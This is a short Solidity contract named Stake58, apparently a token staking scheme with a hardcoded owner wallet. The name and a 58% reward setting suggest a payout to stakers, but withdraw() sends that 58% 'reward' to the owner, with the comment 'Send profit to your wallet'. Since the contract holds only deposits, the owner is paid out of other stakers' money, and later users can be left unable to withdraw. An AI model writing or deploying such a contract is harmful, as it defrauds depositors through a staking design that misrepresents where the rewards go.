0x2eccBab2FA212e9994fca390abe0d06746749F6a

[arashebadi38]

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}

contract Stake58 {
address public owner = 0x2eccBab2FA212e9994fca390abe0d06746749F6a;
IERC20 public token;

uint256 public rewardPercent = 58;
uint256 public stakingDuration = 30 days;

struct Stake {
    uint256 amount;
    uint256 startTime;
    bool claimed;
}

mapping(address => Stake) public stakes;

constructor(address _tokenAddress) {
    token = IERC20(_tokenAddress);
}

function stake(uint256 amount) external {
    require(stakes[msg.sender].amount == 0, "Already staking");
    require(amount > 0, "Invalid amount");

    token.transferFrom(msg.sender, address(this), amount);
    stakes[msg.sender] = Stake(amount, block.timestamp, false);
}

function withdraw() external {
    Stake storage s = stakes[msg.sender];
    require(!s.claimed, "Already withdrawn");
    require(block.timestamp >= s.startTime + stakingDuration, "Too early");

    uint256 reward = s.amount * rewardPercent / 100;
    s.claimed = true;

    token.transfer(msg.sender, s.amount);      // Return staked amount to user
    token.transfer(owner, reward);             // Send profit to your wallet
}

function emergencyWithdraw() external {
    Stake storage s = stakes[msg.sender];
    require(!s.claimed, "Already withdrawn");

    s.claimed = true;
    token.transfer(msg.sender, s.amount); // Only return user's money (no profit)
}

}